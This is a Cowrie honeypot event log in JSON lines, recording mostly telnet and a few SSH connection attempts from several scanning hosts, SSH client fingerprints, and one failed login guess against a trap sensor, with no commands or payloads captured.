{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53546,"dst_ip":"10.17.0.5","dst_port":23,"session":"d521fb62e547","protocol":"telnet","message":"New connection: 104.245.105.2:53546 (10.17.0.5:23) [session: d521fb62e547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:28.575760Z"}
{"eventid":"cowrie.session.closed","duration":33.3249626159668,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:29.339396Z","src_ip":"104.245.105.2","session":"afd907821229","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57954,"dst_ip":"10.17.0.5","dst_port":23,"session":"66099ca1a8ab","protocol":"telnet","message":"New connection: 104.245.105.2:57954 (10.17.0.5:23) [session: 66099ca1a8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:30.460047Z"}
{"eventid":"cowrie.session.closed","duration":41.210694313049316,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:32.297549Z","src_ip":"104.245.105.2","session":"4c00e8bd8bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57962,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4aa0b64029","protocol":"telnet","message":"New connection: 104.245.105.2:57962 (10.17.0.5:23) [session: 8f4aa0b64029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:32.497091Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57972,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9cd989a83d","protocol":"telnet","message":"New connection: 104.245.105.2:57972 (10.17.0.5:23) [session: db9cd989a83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:34.335662Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38520,"dst_ip":"10.17.0.5","dst_port":23,"session":"457a6f6a0f80","protocol":"telnet","message":"New connection: 206.189.32.23:38520 (10.17.0.5:23) [session: 457a6f6a0f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:34.927727Z"}
{"eventid":"cowrie.session.closed","duration":46.86362290382385,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:35.071574Z","src_ip":"206.189.32.23","session":"a99c37be1425","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.835301876068115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:37.958721Z","src_ip":"104.245.105.2","session":"085570d7801e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89424276351929,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:37.964077Z","src_ip":"162.55.233.176","session":"98ab6d9679ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84805941581726,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:37.967919Z","src_ip":"104.245.105.2","session":"8268d670a81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57986,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cdea61c508e","protocol":"telnet","message":"New connection: 104.245.105.2:57986 (10.17.0.5:23) [session: 6cdea61c508e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:38.292475Z"}
{"eventid":"cowrie.session.closed","duration":31.10566210746765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:43.553630Z","src_ip":"104.245.105.2","session":"589265b6f145","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99722194671631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:44.262382Z","src_ip":"104.245.105.2","session":"6bbee9198470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38616,"dst_ip":"10.17.0.5","dst_port":23,"session":"18656585686f","protocol":"telnet","message":"New connection: 104.245.105.2:38616 (10.17.0.5:23) [session: 18656585686f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:45.945027Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38620,"dst_ip":"10.17.0.5","dst_port":23,"session":"53fe0b8457db","protocol":"telnet","message":"New connection: 104.245.105.2:38620 (10.17.0.5:23) [session: 53fe0b8457db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:47.866076Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53172,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b1a6cf6c8a","protocol":"telnet","message":"New connection: 206.189.32.23:53172 (10.17.0.5:23) [session: 81b1a6cf6c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:48.042558Z"}
{"eventid":"cowrie.session.closed","duration":40.2532594203949,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:48.685011Z","src_ip":"206.189.32.23","session":"627bbd00b037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49504,"dst_ip":"10.17.0.5","dst_port":23,"session":"5739766d441b","protocol":"telnet","message":"New connection: 104.245.105.2:49504 (10.17.0.5:23) [session: 5739766d441b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:49.863224Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"d047357c1cea","protocol":"telnet","message":"New connection: 104.245.105.2:49512 (10.17.0.5:23) [session: d047357c1cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:50.437147Z"}
{"eventid":"cowrie.session.closed","duration":33.02382135391235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:52.643307Z","src_ip":"104.245.105.2","session":"4bfdc0db457e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49526,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c8c0ad5320","protocol":"telnet","message":"New connection: 104.245.105.2:49526 (10.17.0.5:23) [session: 52c8c0ad5320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:54.333247Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f5942e0ba4","protocol":"telnet","message":"New connection: 104.245.105.2:49538 (10.17.0.5:23) [session: 32f5942e0ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:45:59.286894Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"9966a96aa0f5","protocol":"telnet","message":"New connection: 104.245.105.2:38214 (10.17.0.5:23) [session: 9966a96aa0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:00.188259Z"}
{"eventid":"cowrie.session.closed","duration":33.04470634460449,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:01.620343Z","src_ip":"104.245.105.2","session":"d521fb62e547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.444940090179443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:01.904782Z","src_ip":"104.245.105.2","session":"66099ca1a8ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38230,"dst_ip":"10.17.0.5","dst_port":23,"session":"88604e9a6e1a","protocol":"telnet","message":"New connection: 104.245.105.2:38230 (10.17.0.5:23) [session: 88604e9a6e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:02.043409Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38246,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b480c3864b","protocol":"telnet","message":"New connection: 104.245.105.2:38246 (10.17.0.5:23) [session: 18b480c3864b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:03.040896Z"}
{"eventid":"cowrie.session.closed","duration":30.660444021224976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:03.157418Z","src_ip":"104.245.105.2","session":"8f4aa0b64029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03db2f315b9","protocol":"telnet","message":"New connection: 104.245.105.2:38250 (10.17.0.5:23) [session: c03db2f315b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:04.128794Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41636,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1c1c7dd1ef7","protocol":"telnet","message":"New connection: 206.189.32.23:41636 (10.17.0.5:23) [session: e1c1c7dd1ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:04.581276Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38258,"dst_ip":"10.17.0.5","dst_port":23,"session":"b369a1974bb1","protocol":"telnet","message":"New connection: 104.245.105.2:38258 (10.17.0.5:23) [session: b369a1974bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:04.699795Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43390,"dst_ip":"10.17.0.5","dst_port":23,"session":"4656fdc8e789","protocol":"telnet","message":"New connection: 206.189.32.23:43390 (10.17.0.5:23) [session: 4656fdc8e789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:05.162487Z"}
{"eventid":"cowrie.session.closed","duration":37.24865436553955,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:05.327213Z","src_ip":"104.245.105.2","session":"996a9c1a7225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44906,"dst_ip":"10.17.0.5","dst_port":23,"session":"22210a24a8c9","protocol":"telnet","message":"New connection: 206.189.32.23:44906 (10.17.0.5:23) [session: 22210a24a8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:07.567143Z"}
{"eventid":"cowrie.session.closed","duration":34.50586771965027,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:08.841416Z","src_ip":"104.245.105.2","session":"db9cd989a83d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.202.122.207","src_port":35196,"dst_ip":"159.203.135.109","dst_port":22,"session":"449bb77f3429","protocol":"ssh","message":"New connection: 172.202.122.207:35196 (159.203.135.109:22) [session: 449bb77f3429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:08.984684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:08.989587Z","src_ip":"172.202.122.207","session":"449bb77f3429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:09.035177Z","src_ip":"172.202.122.207","session":"449bb77f3429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.202.122.207","src_port":35206,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8af3a892f1b","protocol":"ssh","message":"New connection: 172.202.122.207:35206 (159.203.135.109:22) [session: d8af3a892f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:09.119696Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:09.125141Z","src_ip":"172.202.122.207","session":"d8af3a892f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:09.129140Z","src_ip":"172.202.122.207","session":"d8af3a892f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.199405908584595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:09.491752Z","src_ip":"104.245.105.2","session":"6cdea61c508e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51566,"dst_ip":"10.17.0.5","dst_port":23,"session":"40693d917088","protocol":"telnet","message":"New connection: 206.189.32.23:51566 (10.17.0.5:23) [session: 40693d917088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:13.449428Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":40316,"dst_ip":"10.17.0.5","dst_port":22,"session":"4682e6b55a65","protocol":"ssh","message":"New connection: 190.108.60.10:40316 (10.17.0.5:22) [session: 4682e6b55a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:14.313624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:14.318010Z","src_ip":"190.108.60.10","session":"4682e6b55a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:14.534785Z","src_ip":"190.108.60.10","session":"4682e6b55a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38608,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8fb7d176a5d","protocol":"telnet","message":"New connection: 104.245.105.2:38608 (10.17.0.5:23) [session: c8fb7d176a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:15.233006Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx","message":"login attempt [test/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:15.384264Z","src_ip":"190.108.60.10","session":"4682e6b55a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:16.590026Z","src_ip":"190.108.60.10","session":"4682e6b55a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38612,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6cfeb95542","protocol":"telnet","message":"New connection: 104.245.105.2:38612 (10.17.0.5:23) [session: bd6cfeb95542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:17.427650Z"}
{"eventid":"cowrie.session.closed","duration":42.518527030944824,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:17.446142Z","src_ip":"206.189.32.23","session":"457a6f6a0f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890568733215332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:18.756524Z","src_ip":"104.245.105.2","session":"53fe0b8457db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38622,"dst_ip":"10.17.0.5","dst_port":23,"session":"956b5507c261","protocol":"telnet","message":"New connection: 104.245.105.2:38622 (10.17.0.5:23) [session: 956b5507c261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:18.904124Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:18.987301Z","src_ip":"172.202.122.207","session":"449bb77f3429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.711659908294678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:20.574546Z","src_ip":"104.245.105.2","session":"5739766d441b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49778,"dst_ip":"10.17.0.5","dst_port":23,"session":"704a6d56e688","protocol":"telnet","message":"New connection: 188.208.141.113:49778 (10.17.0.5:23) [session: 704a6d56e688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:20.600716Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44048,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f003b4d7620","protocol":"telnet","message":"New connection: 104.245.105.2:44048 (10.17.0.5:23) [session: 5f003b4d7620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:22.077971Z"}
{"eventid":"cowrie.session.closed","duration":31.706762313842773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:22.143793Z","src_ip":"104.245.105.2","session":"d047357c1cea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820317268371582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:25.153436Z","src_ip":"104.245.105.2","session":"52c8c0ad5320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.62432622909546,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:25.569228Z","src_ip":"104.245.105.2","session":"18656585686f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.142.113.25","src_port":48754,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db870c9d3e5","protocol":"telnet","message":"New connection: 43.142.113.25:48754 (10.17.0.5:23) [session: 8db870c9d3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:27.420125Z"}
{"eventid":"cowrie.session.closed","duration":30.832852840423584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:30.119598Z","src_ip":"104.245.105.2","session":"32f5942e0ba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56868,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e580e625e0","protocol":"telnet","message":"New connection: 104.245.105.2:56868 (10.17.0.5:23) [session: 37e580e625e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:32.731557Z"}
{"eventid":"cowrie.session.closed","duration":32.22252798080444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:34.265786Z","src_ip":"104.245.105.2","session":"88604e9a6e1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.888277292251587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:34.929056Z","src_ip":"104.245.105.2","session":"18b480c3864b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146925449371338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:35.275589Z","src_ip":"104.245.105.2","session":"c03db2f315b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56876,"dst_ip":"10.17.0.5","dst_port":23,"session":"07cd917e3d0e","protocol":"telnet","message":"New connection: 104.245.105.2:56876 (10.17.0.5:23) [session: 07cd917e3d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:37.166830Z"}
{"eventid":"cowrie.session.closed","duration":37.72725796699524,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:37.915356Z","src_ip":"104.245.105.2","session":"9966a96aa0f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56890,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6c6e4225d43","protocol":"telnet","message":"New connection: 104.245.105.2:56890 (10.17.0.5:23) [session: f6c6e4225d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:37.975697Z"}
{"eventid":"cowrie.session.closed","duration":51.672295570373535,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:39.714713Z","src_ip":"206.189.32.23","session":"81b1a6cf6c8a","protocol":"telnet"}
